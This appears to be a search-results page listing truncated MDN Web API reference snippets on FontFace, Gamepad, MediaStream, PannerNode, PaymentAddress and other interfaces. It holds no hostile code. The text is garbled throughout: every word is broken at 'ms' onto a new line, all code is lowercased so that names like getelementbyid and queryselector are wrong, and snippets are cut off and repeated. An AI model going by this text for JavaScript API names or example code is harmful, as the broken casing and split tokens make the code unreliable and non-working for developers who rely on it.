syntax var stretchdescriptor = fontface.stretch; fontface.stretch = stretchdescriptor; value a csso
mstring containing a descriptor as it would be defined in a style sheet's @font-face rule.
FontFace.style - Web APIs
syntax var style = fontface.style; fontface.style = value; value a csso
mstring containing the descriptors defined in the style sheet's @font-face rule.
FontFace.unicodeRange - Web APIs
syntax var unicoderangedescriptor = fontface.unicoderange; fontface.unicoderange = unicoderangedescriptor; value a csso
mstring containing a descriptor as it would appear in a style sheet's @font-face rule.
FontFace.variant - Web APIs
syntax var variantsubproperty = fontface.variant; fontface.variant = variantsubproperty; value a csso
mstring containing a descriptor as it would be defined in a style sheet's @font-face rule.
FontFace.weight - Web APIs
syntax var weightdescriptor = fontface.weight; fontface.weight = weightdescriptor; value a csso
mstring containing a descriptor as it would be defined in a style sheet's @font-face rule.
FormData - Web APIs
you can also pass it directly to the urlsearchpara
ms constructor if you want to generate query parameters in the way a <form> would do if it were using simple get submission.
FormDataEvent() - Web APIs
syntax new formdataevent(type[, formeventinit]); values type a do
mstring representing the name of the event.
GainNode.gain - Web APIs
new (window.audiocontext || window.webkitaudiocontext)(); var gainnode = audioctx.creategain(); var mute = document.queryselector('.mute'); var source; if (navigator.mediadevices.getusermedia) { navigator.mediadevices.getusermedia ( // constraints - only audio needed for this app { audio: true }, // success callback function(stream) { source = audioctx.createmediastrea
msource(stream); }, // error callback function(err) { console.log('the following gum error occured: ' + err); } ); } else { console.log('getusermedia not supported on your browser!'); } source.connect(gainnode); gainnode.connect(audioctx.destination); ...
GainNode - Web APIs
new (window.audiocontext || window.webkitaudiocontext)(); var gainnode = audioctx.creategain(); var mute = document.queryselector('.mute'); var source; if (navigator.mediadevices.getusermedia) { navigator.mediadevices.getusermedia ( // constraints - only audio needed for this app { audio: true }, // success callback function(stream) { source = audioctx.createmediastrea
msource(stream); }, // error callback function(err) { console.log('the following gum error occured: ' + err); } ); } else { console.log('getusermedia not supported on your browser!'); } source.connect(gainnode); gainnode.connect(audioctx.destination); ...
Gamepad.id - Web APIs
syntax readonly attribute do
mstring id; example window.addeventlistener("gamepadconnected", function() { var gp = navigator.getgamepads()[0]; gamepadinfo.innerhtml = "gamepad connected at index " + gp.index + ": " + gp.id + "."; }); value a string.
Gamepad.mapping - Web APIs
syntax readonly attribute do
mstring mapping; example var gp = navigator.getgamepads()[0]; console.log(gp.mapping); value a string.
Gamepad - Web APIs
gamepad.id read only a do
mstring containing identifying information about the controller.
GamepadEvent() - Web APIs
syntax var gamepadevent = new gamepadevent(typearg, options) parameters typearg a do
mstring that must be one of gamepadconnected or gamepaddisconnected.
Gamepad API - Web APIs
it contains three interfaces, two events and one specialist function, to respond to gamepads being connected and disconnected, and to access other information about the gamepads the
mselves, and what buttons and other controls are currently being pressed.
GlobalEventHandlers.onanimationcancel - Web APIs
function log(
msg, event) { let logbox = document.getelementbyid("log"); logbox.innerhtml +=
msg; if (event) { logbox.innerhtml += " <code>"+ event.animationname + "</code> at time " + event.elapsedtime.tofixed(2) + " seconds."; } logbox.innerhtml += "\n"; }; then we set up the handlecancelevent() function, which is called in response to the animationcancel event, as set up in t...
GlobalEventHandlers.onanimationend - Web APIs
function log(
msg, event) { let logbox = document.getelementbyid("log"); logbox.innerhtml +=
msg; if (event) { logbox.innerhtml += " <code>"+ event.animationname + "</code> at time " + event.elapsedtime.tofixed(2) + " seconds."; } logbox.innerhtml += "\n"; }; then we set up the event handlers for the animationstart and animationend events: let box = document.getelementbyid("box...
GlobalEventHandlers.oncontextmenu - Web APIs
html <div class="shape">spinning</div> <p class="note" hidden>click to unpause.</p> css @keyframes spin { from { transform: rotate(0); } to { transform: rotate(1turn); } } .shape { width: 8em; height: 8em; display: flex; align-ite
ms: center; justify-content: center; animation: spin 18s linear infinite; background: lightsalmon; border-radius: 42%; margin: 1em; } .paused { background-color: #ddd; } .paused .shape { animation-play-state: paused; } javascript function pause(e) { body.classlist.add('paused'); note.removeattribute('hidden'); } function play(e) { body.classlist.remove('paused'); note.seta...
GlobalEventHandlers.onerror - Web APIs
window.onerror = function (
msg, url, lineno, columnno, error) { var string =
msg.tolowercase(); var substring = "script error"; if (string.indexof(substring) > -1){ alert('script error: see browser console for detail'); } else { var message = [ 'message: ' +
msg, 'url: ' + url, 'line: ' + lineno, 'column: ' + columnno, 'error object: ' + json.stringify(error) ].join(' - '); ...
GlobalEventHandlers.onpointerdown - Web APIs
#target { width: 400px; height: 30px; text-align: center; font: 16px "open sans", "helvetica", sans-serif; color: white; background-color: blue; border: 2px solid darkblue; cursor: pointer; user-select: none; -moz-user-select: none; -webkit-user-select: none; -
ms-user-select: none; } result the resulting output is shown below.
GlobalEventHandlers.onwheel - Web APIs
html <div>scale me with your mouse wheel.</div> css body { min-height: 100vh; margin: 0; display: flex; align-ite
ms: center; justify-content: center; } div { width: 80px; height: 80px; background: #cdf; padding: 5px; transition: transform .3s; } javascript function zoom(event) { event.preventdefault(); if (event.deltay < 0) { // zoom in scale *= event.deltay * -2; } else { // zoom out scale /= event.deltay * 2; } // restrict scale scale = math.min(math.max(.125, s...
HTMLAnchorElement.download - Web APIs
the htmlanchorelement.download property is a do
mstring indicating that the linked resource is intended to be downloaded rather than displayed in the browser.
HTMLAnchorElement.rel - Web APIs
it is a do
mstring containing a space-separated list of link types indicating the relationship between the resource represented by the <a> element and the current document.
HTMLFontElement.color - Web APIs
the obsolete htmlfontelement.color property is a do
mstring that reflects the color html attribute, containing either a named color or a color specified in the hexadecimal #rrggbb format.
HTMLFontElement.face - Web APIs
the obsolete htmlfontelement.face property is a do
mstring that reflects the face html attribute, containing a comma-separated list of one or more font names.
HTMLFormElement.acceptCharset - Web APIs
syntax var string = form.acceptcharset; form.acceptcharset = string; example inputs = document.for
ms['myform'].acceptcharset; specifications specification status comment html living standardthe definition of 'htmlformelement: acceptcharset' in that specification.
HTMLFormElement.length - Web APIs
ncluded by htmlformelement.elements and htmlformelement.length are the following: <button> <fieldset> <input> (with the exception that any whose type is "image" are omitted for historical reasons) <object> <output> <select> <textarea> no other elements are included in the list returned by elements, which makes it an excellent way to get at the elements most important when processing for
ms.
HTMLFormElement.method - Web APIs
syntax var string = form.method; form.method = string; example document.for
ms['myform'].method = 'post'; const formelement = document.createelement("form"); // create a form document.body.appendchild(formelement); console.log(formelement.method); // 'get' specifications specification status comment html living standardthe definition of 'htmlformelement: method' in that specification.
HTMLFormElement.submit() - Web APIs
syntax htmlformelement.submit() example document.for
ms["myform"].submit(); specifications specification status comment html living standardthe definition of 'htmlformelement: submit' in that specification.
HTMLHeadElement - Web APIs
htmlheadelement.profile is a do
mstring representing the uris of one or more metadata profiles (white space separated).
HTMLHeadingElement - Web APIs
htmlheadingelement.align is a do
mstring representing an enumerated attribute indicating alignment of the heading with respect to the surrounding context.
HTMLHtmlElement - Web APIs
htmlhtmlelement.version is a do
mstring representing the version of the html document type definition (dtd) that governs this document.
HTMLInputElement: invalid event - Web APIs
bubbles no cancelable yes interface event event handler property globaleventhandlers.oninvalid this event can be useful for displaying a summary of the proble
ms with a form on submission.
HTMLLIElement - Web APIs
htmllielement.type is a do
mstring representing the type of the bullets, "disc", "square" or "circle".
HashChangeEvent - Web APIs
here is a version that allows only one handler to be bound to the onhashchange property: ;(function(window) { // exit if the browser implements that event if ( "onhashchange" in window.document.body ) { return; } var location = window.location, oldurl = location.href, oldhash = location.hash; // check the location hash on a 100
ms interval setinterval(function() { var newurl = location.href, newhash = location.hash; // if the hash has changed and a handler has been bound...
IDBOpenDBRequest - Web APIs
indow.indexeddb.open line above // it is only implemented in recent browsers dbopenrequest.onupgradeneeded = function(event) { var db = this.result; db.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data ite
ms the objectstore will contain objectstore.createindex("hours", "hours", { unique: false }); objectstore.createindex("minutes", "minutes", { unique: false }); objectstore.createindex("day", "day", { unique: false }); objectstore.createindex("month", "month", { unique: false }); objectstore.createindex("year", "year", { unique: false }); objectstore.createindex("notified", "notified...
InputEvent() - Web APIs
syntax event = new inputevent(typearg, inputeventinit); values typearg is a do
mstring representing the name of the event.
install - Web APIs
example function xpinstallcallback(url, status) { if (status == 0)
msg = "xpinstall test: passed\n"; else
msg = "xpinstall test: failed\n"; dump(
msg); alert(
msg); } xpi={'xpinstall pre-checkin test':'pre_checkin.xpi'}; installtrigger.install(xpi,xpinstallcallback); ...
installChrome - Web APIs
the method perfor
ms a simplified installation of language packs or netscape 6/mozilla skins, and saves you the trouble of writing separate installation scripts in the xpi files or using the more sophisticated methods of the install and file objects.
IntersectionObserver - Web APIs
if (entries[0].intersectionratio <= 0) return; loadite
ms(10); console.log('loaded new ite
ms'); }); // start observing intersectionobserver.observe(document.queryselector('.scrollerfooter')); specifications specification status comment intersection observerthe definition of 'intersectionobserver' in that specification.
Location: ancestorOrigins - Web APIs
the ancestororigins read-only property of the location interface is a static do
mstringlist containing, in reverse order, the origins of all ancestor browsing contexts of the document associated with the given location object.
MathMLElement - Web APIs
properties, but inherits properties from: documentandelementeventhandlers, element, elementcssinlinestyle, globaleventhandlers, htmlorforeignelement methods this interface has no methods, but inherits methods from: documentandelementeventhandlers, element, elementcssinlinestyle, globaleventhandlers, htmlorforeignelement examples mathml <math xmlns="http://www.w3.org/1998/math/mathml"> <
msqrt> <mi>x</mi> </
msqrt> </math> javascript document.queryselector('
msqrt').constructor.name; // mathmlelement specifications specification status comment mathmlelement interface ...
MediaCapabilities - Web APIs
the information can be used to serve optimal media strea
ms to the user and determine if playback should be smooth and power efficient.
MediaDevices: devicechange event - Web APIs
example you can use the devicechange event in an addeventlistener method: navigator.mediadevices.addeventlistener('devicechange', function(event) { updatedevicelist(); }); or use the ondevicechange event handler property: navigator.mediadevices.ondevicechange = function(event) { updatedevicelist(); } specifications specification status media capture and strea
msthe definition of 'devicechange' in that specification.
MediaDevices.getDisplayMedia() - Web APIs
note: browser support for audio tracks varies, both in ter
ms of whether or not they're supported at all by the media recorder and in ter
ms of the which audio source or sourcoes are supported.
MediaDevices.getSupportedConstraints() - Web APIs
gator.mediadevices.getsupportedconstraints(); for (let constraint in supportedconstraints) { if (supportedconstraints.hasownproperty(constraint)) { let elem = document.createelement("li"); elem.innerhtml = "<code>" + constraint + "</code>"; constraintlist.appendchild(elem); } } result specifications specification status comment media capture and strea
msthe definition of 'getsupportedconstraints()' in that specification.
keySystem - Web APIs
the mediakeysystemaccess.keysystem read-only property returns a do
mstring identifying the key system being used.
MediaRecorder.onerror - Web APIs
"is not allowed due to security " + "restrictions."); break; default: shownotification("a problem occurred while trying " + "to record the video."); break; } }; /* this would be a good place to create a worker to handle writing the buffers to disk periodically */ recorder.start(100); /* 100
ms time slices per buffer */ return recorder; } specifications specification status comment mediastream recordingthe definition of 'mediarecorder.onerror' in that specification.
MediaRecorderErrorEvent.error - Web APIs
ecordstream(stream) { let recorder = null; let bufferlist = []; try { recorder = new mediarecorder(stream); } catch(err) { /* exception while trying to create the recorder; handle that */ } recorder.ondataavailable = function(event) { bufferlist.push(event.data); }; recorder.onerror = function(event) { let error = event.error; }; recorder.start(100); /* 100
ms time slices per buffer */ return recorder; } specifications specification status comment mediastream recordingthe definition of 'mediarecordererrorevent.error' in that specification.
Media Session action types - Web APIs
this action may or may not be available, depending on the platform and user agent, or may be disabled due to subscription level or other circu
mstances.
MediaSessionActionDetails - Web APIs
this action may or may not be available, depending on the platform and user agent, or may be disabled due to subscription level or other circu
mstances.
MediaSource.addSourceBuffer() - Web APIs
syntax var sourcebuffer = mediasource.addsourcebuffer(mimetype); parameters mimetype a do
mstring specifying the mime type of the sourcebuffer to create and add to the mediasource.
active - Web APIs
var promise = navigator.mediadevices.getusermedia({ audio: true, video: true }); promise.then(function(stream) { var startbtn = document.queryselector('#startbtn'); startbtn.disabled = stream.active; };) specifications specification status comment media capture and strea
msthe definition of 'active' in that specification.
MediaStream.addTrack() - Web APIs
return value undefined example specifications specification status comment media capture and strea
msthe definition of 'addtrack()' in that specification.
MediaStream: addtrack event - Web APIs
ner(): let stream = new mediastream(); stream.addeventlistener('addtrack', (event) => { console.log(`new ${event.track.kind} track added`); }); using the onaddtrack event handler property: let stream = new mediastream(); stream.onaddtrack = (event) => { console.log(`new ${event.track.kind} track added`); }; specifications specification status media capture and strea
msthe definition of 'addtrack' in that specification.
MediaStream.clone() - Web APIs
specifications specification status comment media capture and strea
msthe definition of 'mediastream.clone()' in that specification.
MediaStream.onaddtrack - Web APIs
stream.onaddtrack = function(event) { let tracklist = document.getelementbyid("tracks"); let label = document.createelement("li"); label.innerhtml = event.track.kind + ": " + event.track.label; tracklist.appendchild(label); }; specifications specification status comment media capture and strea
msthe definition of 'mediastream.onaddtrack' in that specification.
MediaStream.onremovetrack - Web APIs
stream.onremovetrack = function(event) { let tracklist = document.getelementbyid("tracks"); let label = document.createelement("li"); label.innerhtml = "removed: " + event.track.kind + ": " + event.track.label; tracklist.appendchild(label); }; specifications specification status comment media capture and strea
msthe definition of 'mediastream.onremovetrack' in that specification.
MediaStream: removetrack event - Web APIs
: let stream = new mediastream(); stream.addeventlistener('removetrack', (event) => { console.log(`${event.track.kind} track removed`); }); using the onremovetrack event handler property: let stream = new mediastream(); stream.onremovetrack = (event) => { console.log(`${event.track.kind} track removed`); }; specifications specification status media capture and strea
msthe definition of 'removetrack' in that specification.
MediaStreamAudioSourceNode() - Web APIs
note: another way to create a mediastreamaudiosourcenode is to call theaudiocontext.createmediastrea
msource() method, specifying the stream from which you want to obtain audio.
MediaStreamEvent() - Web APIs
syntax var event = new mediastreamevent(type, mediastreameventinit); values type is a do
mstring containing the name of the event, like addstream or removestream.
MediaStreamEvent - Web APIs
it takes two parameters, the first being a do
mstring representing the type of the event; the second a dictionary containing the mediastream it refers to.
MediaStreamTrack: ended event - Web APIs
etelementbyid("status-icon"); statuselem.src = "/images/stopped-icon.png"; }) you can also set up the event handler using the mediastreamtrack.onended property: track.onended = function() { let statuselem = document.getelementbyid("status-icon"); statuselem.src = "/images/stopped-icon.png"; } specifications specification status comment media capture and strea
msthe definition of 'ended' in that specification.
MediaStreamTrack.getConstraints() - Web APIs
function switchcameras(track, camera) { const constraints = track.getconstraints(); constraints.facingmode = camera; track.applyconstraints(constraints); } specifications specification status comment media capture and strea
msthe definition of 'getconstraints()' in that specification.
MediaStreamTrack: mute event - Web APIs
the following example shows this: musictrack.onmute = event => { document.getelementbyid("timeline-widget").style.backgroundcolor = "#aaa"; } musictrack.mute = event = > { document.getelementbyid("timeline-widget").style.backgroundcolor = "#fff"; } specifications specification status comment media capture and strea
msthe definition of 'mute' in that specification.
MediaTrackSupportedConstraints.aspectRatio - Web APIs
div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().aspectratio) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and strea
msthe definition of 'aspectratio' in that specification.
MediaTrackSupportedConstraints.autoGainControl - Web APIs
css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().autogaincontrol) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and strea
msthe definition of 'autogaincontrol' in that specification.
MediaTrackSupportedConstraints.channelCount - Web APIs
</div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().channelcount) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and strea
msthe definition of 'channelcount' in that specification.
MediaTrackSupportedConstraints.deviceId - Web APIs
lt"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().deviceid) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and strea
msthe definition of 'deviceid' in that specification.
MediaTrackSupportedConstraints.echoCancellation - Web APIs
iv> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().echocancellation) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and strea
msthe definition of 'echocancellation' in that specification.
MediaTrackSupportedConstraints.facingMode - Web APIs
v id="result"> </div> css #result { font: 14px "arial", sans-serif; } javascript let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().facingmode) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and strea
msthe definition of 'facingmode' in that specification.
MediaTrackSupportedConstraints.groupId - Web APIs
ult"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().groupid) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and strea
msthe definition of 'groupid' in that specification.
MediaTrackSupportedConstraints.height - Web APIs
sult"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().height) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and strea
msthe definition of 'height' in that specification.
MediaTrackSupportedConstraints.latency - Web APIs
ult"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().latency) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and strea
msthe definition of 'latency' in that specification.
MediaTrackSupportedConstraints.noiseSuppression - Web APIs
css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().noisesuppression) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and strea
msthe definition of 'noisesuppression' in that specification.
MediaTrackSupportedConstraints.sampleRate - Web APIs
"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().samplerate) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and strea
msthe definition of 'samplerate' in that specification.
MediaTrackSupportedConstraints.sampleSize - Web APIs
"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().samplesize) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and strea
msthe definition of 'samplesize' in that specification.
MediaTrackSupportedConstraints.width - Web APIs
esult"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().width) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and strea
msthe definition of 'width' in that specification.
MouseEvent.button - Web APIs
some pointing devices only have one button and use keyboard or other input mechanis
ms to indicate main, secondary, auxilary, etc.
MouseEvent.metaKey - Web APIs
be aware that many operating syste
ms bind special functionality to the meta key, so this property may be false even when the key is actually pressed.
MouseEvent.pageX - Web APIs
see page in coordinate syste
ms for some additional information about coordinates specified in this fashion.
MouseEvent.region - Web APIs
syntax var hitregion = instanceofmouseevent.region return value a do
mstring representing the id of the hit region.
MouseScrollEvent - Web APIs
method overview void initmousescrollevent(in do
mstring typearg, in boolean canbubblearg, in boolean cancelablearg, in nsidomabstractview viewarg, in long detailarg, in long screenxarg, in long screenyarg, in long clientxarg, in long clientyarg, in boolean ctrlkeyarg, in boolean altkeyarg, in boolean shiftkeyarg, in boolean metakeyarg, in unsigned short buttonarg, in nsidomeventtarget relatedtargetarg, in long axis); attributes attribute type ...
MouseWheelEvent - Web APIs
properties attribute type description wheeldelta read only long the distance in pixels (defined as so by
msdn, but the actual usage is different, see mousewheel).
MutationEvent - Web APIs
mutation events list the following is a list of all mutation events, as defined in dom level 3 events specification: domattrmodified domattributenamechanged domcharacterdatamodified domelementnamechanged domnodeinserted domnodeinsertedintodocument domnoderemoved domnoderemovedfromdocument do
msubtreemodified usage you can register a listener for mutation events using eventtarget.addeventlistener() as follows: element.addeventlistener("domnodeinserted", function (event) { // ...
MutationObserverInit.attributeOldValue - Web APIs
for any ite
ms representing an attribute change (which can be detected by the value of mutationrecord.type being "attributes"), a function called notifyuser() is used to tell the user the name of the attribute that changed as well as the attribute's new value (mutation.target[mutation.attributename]) and its old value (mutation.oldvalue).
MutationObserverInit.attributes - Web APIs
for any ite
ms representing an attribute change (which can be detected by the value of mutationrecord.type being "attributes"), a function called notifyuser() is used to tell the user the name of the attribute that changed as well as the attribute's new value (mutation.target[mutation.attributename]) and its old value (mutation.oldvalue).
NDEFWriter.write() - Web APIs
syntax var sessionpromise = ndefwriter.write(message, options); parameters message the message to be written, either do
mstring or buffersource or ndefmessageinit.
Navigator.mediaDevices - Web APIs
specifications specification status comment media capture and strea
msthe definition of 'navigatorusermedia.mediadevices' in that specification.
Navigator.oscpu - Web APIs
syntax oscpuinfo = navigator.oscpu value a do
mstring providing a string which identifies the operating system on which the browser is running.
Web-based protocol handlers - Web APIs
the browser extracts the href from the activated link, combines it with the url template supplied during handler registration and perfor
ms an http get on the url.
Navigator.vibrate() - Web APIs
examples window.navigator.vibrate(200); // vibrate for 200
ms window.navigator.vibrate([100,30,100,30,100,30,200,30,200,30,200,30,100,30,100,30,100]); // vibrate 'sos' in morse.
NavigatorID.appVersion - Web APIs
example alert('your browser version is reported as ' + navigator.appversion); notes the window.navigator.useragent property may also contain the version number (for example "mozilla/5.0 (windows; u; win98; en-us; rv:0.9.2) gecko/20010725 netscape 6/6.1"), but you should be aware of how easy it is to change the user agent string and "spoof" other browsers, platfor
ms, or user agents, and also how cavalier the browser vendor the
mselves are with these properties.
NavigatorID.platform - Web APIs
syntax platform = navigator.platform value a do
mstring identifying the platform on which the browser is running, or an empty string if the browser declines to (or is unable to) identify the platform.
NavigatorID.userAgent - Web APIs
syntax var ua = navigator.useragent; value a do
mstring specifying the complete user agent string the browser provides both in http headers and in response to this and other related methods on the navigator object.
OffscreenCanvas.convertToBlob() - Web APIs
syntax promise<blob> offscreencanvas.converttoblob(options); parameters optionsoptional you can specify several options when converting your offscreencanvas object into a blob object, for example: const blob = offscreencanvas.converttoblob({ type: "image/jpeg", quality: 0.95 }); options: type: a do
mstring indicating the image format.
OffscreenCanvas.convertToBlob() - Web APIs
syntax promise<blob> offscreencanvas.converttoblob(options); parameters optionsoptional you can specify several options when converting your offscreencanvas object into a blob object, for example: const blob = offscreencanvas.converttoblob({ type: "image/jpeg", quality: 0.95 }); options: type: a do
mstring indicating the image format.
OffscreenCanvas.getContext() - Web APIs
syntax offscreen.getcontext(contexttype, contextattributes); parameters contexttype is a do
mstring containing the context identifier defining the drawing context associated to the canvas.
OffscreenCanvas.convertToBlob() - Web APIs
syntax promise<blob> offscreencanvas.converttoblob(options); parameters options optional you can specify several options when converting your offscreencanvas object into a blob object, for example: const blob = offscreencanvas.converttoblob({ type: "image/jpeg", quality: 0.95 }); options: type: a do
mstring indicating the image format.
OscillatorNode.setPeriodicWave() - Web APIs
here, with createperiodicwave(), you specify the frequencies, and the browser perfor
ms a an inverse fourier transform to get a time domain buffer for the frequency of the oscillator.
OscillatorNode - Web APIs
methods inherits methods from its parent, audioscheduledsourcenode, and adds the following: oscillatornode.setperiodicwave() sets a periodicwave which describes a periodic waveform to be used instead of one of the standard wavefor
ms; calling this sets the type to custom.
OverconstrainedError.constraint - Web APIs
syntax var constraint = overconstrainederror.constraint; value a string specifications specification status comment media capture and strea
msthe definition of 'constraint' in that specification.
PannerNode.distanceModel - Web APIs
function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in ter
ms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on screen, there is quite a bit of math involved, but you will soon get used to it with a bit of experimentation.
PannerNode.maxDistance - Web APIs
function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in ter
ms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on screen, there is quite a bit of math involved, but you will soon get used to it with a bit of experimentation.
PannerNode.panningModel - Web APIs
function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in ter
ms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on screen, there is quite a bit of math involved, but you will soon get used to it with a bit of experimentation.
PannerNode.refDistance - Web APIs
his tone should decay immediately and fairly quickly scheduletesttone(1, context.currenttime); // this tone should decay slower and later than the previous one scheduletesttone(4, context.currenttime + note_length); // this tone should decay only slightly, and only start decaying fairly late scheduletesttone(7, context.currenttime + note_length * 2); after running this code, the resulting wavefor
ms should look something like this: specifications specification status comment web audio apithe definition of 'refdistance' in that specification.
PannerNode.rolloffFactor - Web APIs
t(starttime); osc.stop(starttime + note_length); }; // this tone should decay fairly quickly scheduletesttone(1, context.currenttime); // this tone should decay slower than the previous one scheduletesttone(0.5, context.currenttime + note_length); // this tone should decay only slightly scheduletesttone(0.1, context.currenttime + note_length * 2); after running this code, the resulting wavefor
ms should look something like this: specifications specification status comment web audio apithe definition of 'rollofffactor' in that specification.
PannerNode.setOrientation() - Web APIs
function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in ter
ms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on screen, there is quite a bit of math involved, but you will soon get used to it with a bit of experimentation.
PannerNode.setPosition() - Web APIs
function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in ter
ms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on screen, there is quite a bit of math involved, but you will soon get used to it with a bit of experimentation.
PannerNode - Web APIs
function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in ter
ms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on screen, there is quite a bit of math involved, but you will soon get used to it with a bit of experimentation.
PayerErrors.email - Web APIs
syntax payeremail = payererrors.email; value if validation of the payer's email address (paymentresponse.payeremail) found proble
ms, this property should be set to a do
mstring that explains the validation problem and how to correct it.
PayerErrors.name - Web APIs
syntax payername = payererrors.name; value if this property is present in the payererrors object, the payer's name couldn't be successfully validated, and the name property's value is a do
mstring explaining the error.
PayerErrors.phone - Web APIs
syntax payerphone = payererrors.phone; value if this property is present in the payererrors object, the payer's phone number couldn't be successfully validated, and the phone property's value is a do
mstring explaining the error.
PaymentAddress.city - Web APIs
syntax var paymentcity = paymentaddress.city; value a do
mstring indicating the city or town portion of the address described by the paymentaddress object.
PaymentAddress.country - Web APIs
syntax var paymentcountry = paymentaddress.country; value a do
mstring which contains the iso3166-1 alpha-2 code identifying the country in which the address is located, or an empty string if no country is available, which frequently can be assumed to mean "same country as the site owner." usage notes if the payment handler validates the address and determines that the value of country is invalid, a call to paymentrequestupdateevent.updatewith() will be made with a details object containing a shippingaddresserrors field.
PaymentAddress.languageCode - Web APIs
syntax var paymentlanguagecode = paymentaddress.languagecode; value a do
mstring providing the bcp-47 format language code indicating the language the address was written in, such as "en-us", "pt-br", or "ja-jp".
PaymentAddress.organization - Web APIs
syntax var paymentorganization = paymentaddress.organization; value a do
mstring whose value is the name of the organization or company located at the address described by the paymentaddress object.
PaymentAddress.phone - Web APIs
syntax var paymentphone = paymentaddress.phone; value a do
mstring containing the telephone number for the recipient of the shipment or of the responsible party for payment.
PaymentAddress.recipient - Web APIs
syntax var paymentrecipient = paymentaddress.recipient; value a do
mstring giving the name of the person receiving or paying for the purchase, or the name of a contact person in other contexts.
PaymentAddress.region - Web APIs
syntax var paymentregion = paymentaddress.region; value a do
mstring specifying the top-level administrative subdivision within the country in which the address is located.
Using Pointer Events - Web APIs
function ongoingtouchindexbyid(idtofind) { for (var i = 0; i < ongoingtouches.length; i++) { var id = ongoingtouches[i].identifier; if (id == idtofind) { return i; } } return -1; // not found } showing what's going on function log(
msg) { var p = document.getelementbyid('log'); p.innerhtml =
